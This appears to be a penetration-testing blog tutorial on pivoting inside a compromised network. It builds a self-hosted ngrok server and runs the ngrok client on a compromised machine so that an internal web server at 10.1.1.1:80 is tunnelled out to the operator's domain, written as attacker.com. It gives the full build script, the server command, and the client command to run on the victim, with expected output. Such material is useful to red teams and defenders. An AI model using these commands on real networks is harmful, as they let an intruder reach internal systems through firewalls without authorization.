Using ngrok to proxy internal servers in restrictive environments
When gaining shell access to a machine on a network, a promising attack vector is to check the internal network for web applications and services that may be accessible from the machine that has been compromised.
Often, internal web applications are found on the local subnets and could allow for an attacker to explore or exploit these applications in order to gain access to another machine with potentially more access on the network.
However, if you're just an attacker that has shell access on a machine that you've compromised, running a proxy on the compromised machine is not always an easy task. In scenarios where you don't have SSH access, can't escalate privileges or can't open ports, one solution comes to mind when wanting to proxy local hosts to your own server.
This is where the tool ngrok comes in handy. As the ngrok wiki explains on Github, the tool lets you:
- Expose any http service behind a NAT or firewall to the internet on a subdomain of yourserver.com
- Expose any tcp service behind a NAT or firewall to the internet on a random port of yourserver.com
- Inspect all http requests/responses that are transmitted over the tunnel Replay any request that was transmitted over the tunnel
Ngrok is composed of the server and the client. If you use an ngrok client out of the box, the client will proxy any said local host and port to a random subdomain on ngrok.com - a service that is provided for free (with limitations) by the maintainers of the ngrok project.
Here's a good diagram demonstrating ngrok's functionalities:
However, Ngrok also provides the option for one to run their own server. This is probably what you want to do in order to ensure that the traffic you're proxying doesn't go through the third party ngrok service.
Since ngrok is primarily a Go based tool, the ngrok clients are extremely portable and work on Mac, Windows, Linux/ARM and FreeBSD with a single pre-compiled binary.
In order to set up your own ngrok server, follow these steps:
Get a domain and add the following DNS records:
attacker.com -> your_host_ip *.attacker.com -> your_host_ip
Modify the following script to use your domain name in the NGROK_DOMAIN variable and save it as
NGROK_DOMAIN="attacker.com" git clone https://github.com/inconshreveable/ngrok.git cd ngrok openssl genrsa -out rootCA.key 2048 openssl req -x509 -new -nodes -key rootCA.key -subj "/CN=$NGROK_DOMAIN" -days 5000 -out rootCA.pem openssl genrsa -out device.key 2048 openssl req -new -key device.key -subj "/CN=$NGROK_DOMAIN" -out device.csr openssl x509 -req -in device.csr -CA rootCA.pem -CAkey rootCA.key -CAcreateserial -out device.crt -days 5000 cp rootCA.pem assets/client/tls/ngrokroot.crt # make clean make release-server release-client
(original script from https://gist.github.com/lyoshenka/002b7fbd801d0fd21f2f)
Run the script via
bash setupngrok.sh and then change directories to the ngrok folder
Now, the last part, to run the ngrok server you must run the following command (while specifying the ssl .key and .crt generated by the script earlier):
bin/ngrokd -tlsKey=device.key -tlsCrt=device.crt -domain="$NGROK_DOMAIN" -httpAddr=":8000" -httpsAddr=":8001"
If running the above command returns the following, you should be good to go:
[11/18/15 00:52:24] [INFO] [metrics] Reporting every 30 seconds [11/18/15 00:52:24] [INFO] [registry] [tun] No affinity cache specified [11/18/15 00:52:24] [INFO] Listening for public http connections on [::]:8000 [11/18/15 00:52:24] [INFO] Listening for public https connections on [::]:8001 [11/18/15 00:52:24] [INFO] Listening for control and proxy connections on [::]:4443
Copy the ngrok client from
ngrok/bin/ngrok to your compromised host and then run the following commands to proxy internal traffic:
NGROK_DOMAIN="attacker.com" echo -e "server_addr: $NGROK_DOMAIN:4443\ntrust_host_root_certs: false" > ngrok-config ./ngrok -config=ngrok-config 10.1.1.1:80
The final command above will tunnel the local address 10.1.1.1 at port 80, to your ngrok server located on attacker.com. If all goes well, the output of the tool should look like this:
Tunnel Status online Version 1.3/1.3 Forwarding http://3a4bfceb.attacker.com -> 10.1.1.1:80 Forwarding https://3a4bfceb.attacker.com -> 10.1.1.1:80 Web Interface http://127.0.0.1:4040 # Conn 0 Avg Conn Time 0.00ms
You should now be able to visit https://3a4bfceb.attacker.com - which is actually proxying internal traffic via the compromised host to the internal server @ 10.1.1.1:80.
This technique can be really useful when stuck in internal environments with no easy way to create a proxy for the internal network.